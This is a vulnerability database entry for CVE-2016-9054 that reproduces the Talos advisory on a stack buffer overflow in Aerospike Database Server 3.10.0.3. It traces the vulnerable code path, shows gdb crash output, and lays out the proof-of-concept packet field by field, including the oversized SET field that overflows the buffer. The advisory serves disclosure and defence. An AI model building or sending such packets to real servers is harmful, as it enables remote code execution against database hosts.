Vulnerabilities > CVE-2016-9054 - Out-of-bounds Write vulnerability in Aerospike Database Server 3.10.0.3

047910
CVSS 9.8 - CRITICAL
Attack vector
NETWORK
Attack complexity
LOW
Privileges required
NONE
Confidentiality impact
HIGH
Integrity impact
HIGH
Availability impact
HIGH
network
low complexity
aerospike
CWE-787
critical

Summary

An exploitable stack-based buffer overflow vulnerability exists in the querying functionality of Aerospike Database Server 3.10.0.3. A specially crafted packet can cause a stack-based buffer overflow in the function as_sindex__simatch_list_by_set_binid resulting in remote code execution. An attacker can simply connect to the port to trigger this vulnerability.

Vulnerable Configurations

Part Description Count
Application
Aerospike
1

Common Weakness Enumeration (CWE)

Seebug

bulletinFamilyexploit
description### Summary An exploitable stack-based buffer overflow vulnerability exists in the querying functionality of Aerospike Database Server 3.10.0.3. A specially crafted packet can cause a stack-based buffer overflow in the function `as_sindex__simatch_list_by_set_binid` resulting in remote code execution. An attacker can simply connect to the port to trigger this vulnerability. ### ### Tested Versions Aerospike Database Server 3.10.0.3 ### Product URLs https://github.com/aerospike/aerospike-server/tree/3.10.0.3 ### CVSSv3 Score 9.8 - CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H ### CWE CWE-121 - Stack-based Buffer Overflow ### Details Aerospike Database Server is both a distributed and scalable NoSQL database that is used as a back-end for scalable web applications that need a key-value store. With a focus on performance, it is multi-threaded and retains its indexes entirely in ram with the ability to persist data to a solid-state drive or traditional rotational media. When processing a packet from the client, the server will execute the `thr_demarshal` function. After accepting a connection on the socket, the server will read the header from the packet and check it's protocol type. If its protocol type specifies that the packet is compressed (PROTOTYPEASMSGCOMPRESSED), it will decompress it with zlib and then continue to process the packet [1]. Later, when the protocol type is PROTOTYPEAS_MSG the server will pass the packet to the `thr_tsvc_process_or_enqueue` function [2]. ``` as/src/base/thr_demarshal.c:389 void * thr_demarshal(void *unused) { ... // Demarshal transactions from the socket. ... // Iterate over all events. for (i = 0; i < nevents; i++) { ... // If pointer is NULL, then we need to create a transaction and // store it in the buffer. if (fd_h->proto == NULL) { ... // Do a preliminary read of the header into a stack- // allocated structure, so that later on we can allocate the // entire message buffer. if (0 >= (n = cf_socket_recv(sock, &proto, sizeof(as_proto), MSG_WAITALL))) { cf_detail(AS_DEMARSHAL, "proto socket: read header fail: error: rv %d sz was %d errno %d", n, sz, errno); goto NextEvent_FD_Cleanup; } ... // Check for a finished read. if (0 == fd_h->proto_unread) { ... // Check if it's compressed. if (tr.msgp->proto.type == PROTO_TYPE_AS_MSG_COMPRESSED) { // [1] ... } ... // Either process the transaction directly in this thread, // or queue it for processing by another thread (tsvc/info). if (0 != thr_tsvc_process_or_enqueue(&tr)) { // [2] cf_warning(AS_DEMARSHAL, "Failed to queue transaction to the service thread"); goto NextEvent_FD_Cleanup; } ``` The `thr_tsvc_process_or_enqueue` function will first read the namespace from the packet then and check to see the data is configured to be stored in memory by calling the `as_msg_peek_data_in_memory` function [1]. If the namespace is undefined or configured to not be stored in memory, the function will continue by calling into `process_transaction` [2]. In order to trigger this particular vulnerability, this is the path that must be taken. ``` as/src/base/thr_tsvc.c:497 int thr_tsvc_process_or_enqueue(as_transaction *tr) { // If transaction is for data-in-memory namespace, process in this thread. if (g_config.allow_inline_transactions && g_config.n_namespaces_in_memory != 0 && (g_config.n_namespaces_not_in_memory == 0 || as_msg_peek_data_in_memory(&tr->msgp->msg))) { // [1] process_transaction(tr); // [2] return 0; } ... ``` Inside the `process_transaction` function, the server will use the string defined by the ASMSGFIELDTYPENAMESPACE field to determine the namespace. Once the namespace is discovered, the server will determine what type of transaction request is being made. This is done by checking which fields are defined. After determining the transaction is a multi-record type by checking that the ASMSGFIELDBITKEY and ASMSGFIELDBITDIGESTRIPE fields are not included [1], the transaction will be checked to see if it's a batched transaction. This is done by checking to see if the ASMSGFIELDBITDIGESTRIPEARRAY is included [2]. Finally after checking for those fields, the function will call `as_transaction_is_query` [3]. The `as_transaction_is_query` function will then check for the ASMSGFIELDBITINDEXRANGE field being set and if so will pass execution to the `as_query` function at [4]. ``` as/src/base/thr_tsvc.c:71 void process_transaction(as_transaction *tr) { ... // All transactions must have a namespace. as_msg_field *nf = as_msg_field_get(m, AS_MSG_FIELD_TYPE_NAMESPACE); ... as_namespace *ns = as_namespace_get_bymsgfield(nf); ... if (as_transaction_is_multi_record(tr)) { // [1] \ ... if (as_transaction_is_batch_direct(tr)) { // [2] \ ... } else if (as_transaction_is_query(tr)) { // [3] \ // Query. ... if (as_query(tr, ns) != 0) { // [4] ... \ [1] as/include/base/transaction.h:265 static inline bool as_transaction_is_multi_record(const as_transaction *tr) { return (tr->msg_fields & (AS_MSG_FIELD_BIT_KEY | AS_MSG_FIELD_BIT_DIGEST_RIPE)) == 0 && (tr->from_flags & FROM_FLAG_BATCH_SUB) == 0; } \ [2] as/include/base/transaction.h:272 static inline bool as_transaction_is_batch_direct(const as_transaction *tr) { // Assumes we're already multi-record. return (tr->msg_fields & AS_MSG_FIELD_BIT_DIGEST_RIPE_ARRAY) != 0; } \ [3] as/include/base/transaction.h:265 static inline bool as_transaction_is_query(const as_transaction *tr) { // Assumes we're already multi-record. return (tr->msg_fields & AS_MSG_FIELD_BIT_INDEX_RANGE) != 0; } ``` At the beginning of the `as_query` function, the application will hand-off the transaction to the `query_setup` function [1]. Inside this function, the server will ensure that the requested namespace has a secondary index associated with it by calling the `as_sindex_ns_has_sindex` [2]. After this is determined, the metadata for the index will be fetched from the packet at [3]. After all is said and done, the server will read a string out of the ASMSGFIELDTYPESET field. This will get saved to the `setname` variable and then passed as an argument to [4]. ``` as/src/base/thr_query.c:2856 int as_query(as_transaction *tr, as_namespace *ns) { if (tr) { QUERY_HIST_INSERT_DATA_POINT(query_txn_q_wait_hist, tr->start_time); } as_query_transaction *qtr; int rv = query_setup(tr, ns, &qtr); // [1] \ ... \ as/src/base/thr_query.c:2686 static int query_setup(as_transaction *tr, as_namespace *ns, as_query_transaction **qtrp) { ... bool has_sindex = as_sindex_ns_has_sindex(ns); // [2] ... int ret = as_sindex_rangep_from_msg(ns, &tr->msgp->msg, &srange); ... ASD_SINDEX_MSGRANGE_FINISHED(nodeid, trid); // get optional set as_msg_field *sfp = as_transaction_has_set(tr) ? as_msg_field_get(&tr->msgp->msg, AS_MSG_FIELD_TYPE_SET) : NULL; // [3] if (sfp && as_msg_field_get_value_sz(sfp) > 0) { setname = cf_strndup((const char *)sfp->data, as_msg_field_get_value_sz(sfp)); } ... } else { // Look up sindex by bin in the query in case not // specified in query si = as_sindex_from_range(ns, setname, srange); // [4] } ``` Inside the `as_sindex_from_range` function, the string from the packet will be passed through the `as_sindex_lookup_by_defns` function which is a wrapper around `as_sindex__lookup_lockfree`. Later in that function, the string will be handed off to `as_sindex__simatch_by_set_binid`. This is the function that contains our specific vulnerability. ``` as/src/base/secondary_index.c:2520 as_sindex * as_sindex_from_range(as_namespace *ns, char *set, as_sindex_range *srange) { ... as_sindex *si = as_sindex_lookup_by_defns(ns, set, srange->start.id, // [1] \\ as_sindex_sktype_from_pktype(srange->start.type), srange->itype, srange->bin_path, AS_SINDEX_LOOKUP_FLAG_ISACTIVE); \\ as_sindex * as_sindex__lookup_lockfree(as_namespace *ns, char *iname, char *set, int binid, as_sindex_ktype type, as_sindex_type itype, char * path, char flag) { ... simatch = as_sindex__simatch_by_set_binid(ns, set, binid, type, itype, path); // [2] ... ``` Finally the string will be passed into `as_sindex__simatch_list_by_set_binid` [1] and then used as an argument to sprintf [2]. If the length of the string plus the id for the bin is larger than ASSINDEXPROPKEYSIZE (84), then this vulnerability is being triggered. ``` as/src/base/secondary_index.c:122 #define AS_SINDEX_PROP_KEY_SIZE (AS_SET_NAME_MAX_SIZE + 20) // setname_binid_typeid as/include/base/datamodel.h:1141 #define AS_SET_NAME_MAX_SIZE 64 // includes space for null-terminator as/src/base/secondary_index.c:849 int as_sindex__simatch_by_set_binid(as_namespace *ns, char * set, int binid, as_sindex_ktype type, as_sindex_type itype, char * path) { ... cf_ll * simatch_ll = NULL; as_sindex__simatch_list_by_set_binid(ns, set, binid, &simatch_ll); // [1] ... \ as/src/base/secondary_index.c:815 as_sindex_status as_sindex__simatch_list_by_set_binid(as_namespace * ns, const char *set, int binid, cf_ll ** simatch_ll) { // Make the fixed size key (set_binid) // Look for the key in set_binid_hash // If found return the value (list of simatches) // Else return NULL // Make the fixed size key (set_binid) char si_prop[AS_SINDEX_PROP_KEY_SIZE]; memset(si_prop, 0, AS_SINDEX_PROP_KEY_SIZE); if (!set) { sprintf(si_prop, "_%d", binid); } else { sprintf(si_prop, "%s_%d", set, binid); // [2] } ``` ### Crash Information ``` # gdb -q -p `systemctl status aerospike.service | grep 'Main PID' | cut -d: -f2- | cut -d' ' -f2` ... (gdb) b as_sindex__simatch_by_iname Breakpoint 5 at 0x506331: file base/secondary_index.c, line 985. (gdb) c Continuing. [Switching to Thread 0x7f8d0cf77700 (LWP 43832)] Catchpoint 4 (signal SIGSEGV), 0x0000000000505b41 in as_sindex__simatch_list_by_set_binid (ns=0x4141414141414141, set=0x4141414141414141 <Address 0x4141414141414141 out of bounds>, binid=0x41414141, simatch_ll=0x4141414141414141) at base/secondary_index.c:834 834 int rv = shash_get(ns->sindex_set_binid_hash, (void *)si_prop, (void *)simatch_ll); ``` ### Exploit Proof-of-Concept To execute the provided proof-of-concept, simply extract and run it as follows: ``` $ python poc hostname:3000 $namespace $binid Trying to connect to hostname:3000 Sending 0x232 byte packet... done. ``` A client packet for Aerospike server has the following structure. The first 2 bytes describe the protocol `version` and the protocol `type`. The `version` must be 0x02, where the protocol `type` can be one of two values. If ASCOMPRESSEDMSG(0x04) is specified, then the contents of `data` are zlib-encoded. Otherwise, the AS_MSG(0x03) value is used. The size of this data is defined by the `sz` field which is a 48-bit unsigned integer. ``` <class aspie.as_proto_s> [0] <instance aspie.proto_version 'version'> v2(0x2) [1] <instance aspie.proto_type 'type'> AS_MSG(0x3) [2] <instance uint48_t 'sz'> +0x00000000022e (558) [8] <instance aspie.as_msg_s 'data'> "\x00\x00\x00\x00\x00\x00\x00 ..skipped ~538 bytes.. \x42\x42\x42\x42\x42\x42\x42" ``` The contents of the `data` field has the following structure. In order to submit a message that passes the checks at `as_transaction_is_multi_record` and `as_transaction_is_query`, There simply needs to be a field with the NAMESPACE(0x0) id, one with an INDEXRANGE(0x16) id, and no fields that use the BITKEY(2) or BITDIGESTRIPE(4) identifiers. The field that is being used to overflow with is using the INDEXNAME(0x15) id. This means that there must be at least three fields defined and thus the uint16t field `n_fields` must be set to 0x0003 or more. ``` <class aspie.as_msg_s> 'data' [8] <instance uint8_t 'header_sz'> +0x00 (0) [9] <instance aspie.AS_MSG_INFO1 'info1'> {bits=8} (0x00, 8) [a] <instance aspie.AS_MSG_INFO2 'info2'> {bits=8} (0x00, 8) [b] <instance aspie.AS_MSG_INFO3 'info3'> {bits=8} (0x00, 8) [c] <instance uint8_t 'unused'> +0x00 (0) [d] <instance uint8_t 'result_code'> +0x00 (0) [e] <instance uint32_t 'generation'> +0x00000000 (0) [12] <instance uint32_t 'record_ttl'> +0x00000000 (0) [16] <instance uint32_t 'transaction_ttl'> +0x00000000 (0) [1a] <instance uint16_t 'n_fields'> +0x0003 (3) [1c] <instance uint16_t 'n_ops'> +0x0000 (0) [1e] <instance array(aspie.as_msg_field_s,3) 'fields'> aspie.as_msg_field_s[3] "\x00\x00\x00\x09\x00\x58\x58 ..skipped ~516 bytes.. \x42\x42\x42\x42\x42\x42\x42" [236] <instance array(aspie.as_msg_op_s,0) 'ops'> aspie.as_msg_op_s[0] "" ``` Af offset 0x1e of the packet is the definition of `fields`. This is an array of fields that provide options for the type of request that is being made. The field identified by NAMESPACE(0x0) contains a namespace that supports the configuration defined above. ``` <class aspie.as_msg_field_s> '0' [1e] <instance uint32_t 'field_sz'> +0xXXXXXXXX (X) [22] <instance aspie.AS_MSG_FIELD_TYPE 'type'> NAMESPACE(0x0) [23] <instance aspie.as_msg_namespace_s<char_t> 'data'> ... ``` One of the requirements is that an INDEX_RANGE(0x16) field must be defined. This begins at offset 0x2b of the packet generated by the proof-of-concept. ``` <class aspie.as_msg_field_s> '1' [24] <instance be(pint.uint32_t) 'field_sz'> +0x0000001d (29) [28] <instance be(aspie.AS_MSG_FIELD_TYPE) 'type'> INDEX_RANGE(0x16) [29] <instance aspie.as_msg_index_range_s 'data'> "\x01\x01\x62\x01\x00\x00\x00\x08\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x08\x00\x00\x00\x00\x00\x00\x00\x00" <class aspie.as_msg_index_range_s> 'data' [29] <instance be(pint.uint8_t) 'numrange'> +0x01 (1) [2a] <instance dynamic.array(aspie.irange,1) 'range'> aspie.irange[1] "\x01\x62\x01\x00\x00\x00\x08\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x08\x00\x00\x00\x00\x00\x00\x00\x00" <class aspie.irange> '0' [2a] <instance be(pint.uint8_t) 'bin_path_len'> +0x01 (1) [2b] <instance c(pstr.string<char_t>) 'bin_path'> u'b' [2c] <instance aspie.particle 'particle'> "\x01\x00\x00\x00\x08\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x08\x00\x00\x00\x00\x00\x00\x00\x00" <class aspie.particle> 'particle' [2c] <instance be(aspie.AS_PARTICLE_TYPE) 'type'> INTEGER(0x1) [2d] <instance be(pint.uint32_t) 'start_particle_size'> +0x00000008 (8) [31] <instance dynamic.block(8) 'start_particle_data'> "\x00\x00\x00\x00\x00\x00\x00\x00" [39] <instance be(pint.uint32_t) 'end_particle_size'> +0x00000008 (8) [3d] <instance dynamic.block(8) 'end_particle_data'> "\x00\x00\x00\x00\x00\x00\x00\x00" ``` Another requirement is that an INDEX_TYPE(0x1a) field must be defined. ``` <class aspie.as_msg_field_s> '3' [24a] <instance be(pint.uint32_t) 'field_sz'> +0x00000001 (1) [24e] <instance be(aspie.AS_MSG_FIELD_TYPE) 'type'> INDEX_TYPE(0x1a) [24f] <instance c(be(aspie.as_msg_index_type_s)) 'data'> DEFAULT(0x0) ``` The last field that is used to overflow the 84 byte buffer has the identifier of SET(0x1). As long as the length defined in `field_sz` is larger than 84 (exclusive) and the contents of `data` contains the same number of bytes, this vulnerability is being triggered. ``` <class aspie.as_msg_field_s> '2' [45] <instance be(pint.uint32_t) 'field_sz'> +0x00000201 (513) [49] <instance be(aspie.AS_MSG_FIELD_TYPE) 'type'> SET(0x1) [4a] <instance c(c(ptype.block)) 'data'> "\x41\x41\x41\x41\x41\x41\x41 ..skipped ~492 bytes.. \x41\x41\x41\x41\x41\x41\x41" ``` ### Timeline * 2016-12-23 - Vendor Disclosure * 2017-01-09 - Public Release ### CREDIT * Discovered by the Cisco Talos Team.
idSSV:96589
last seen2017-11-19
modified2017-09-26
published2017-09-26
reporterRoot
titleAerospike Database Server Set Name Code Execution Vulnerability(CVE-2016-9054)

Talos

idTALOS-2016-0268
last seen2019-05-29
published2017-01-09
reporterTalos Intelligence
sourcehttp://www.talosintelligence.com/vulnerability_reports/TALOS-2016-0268
titleAerospike Database Server Set Name Code Execution Vulnerability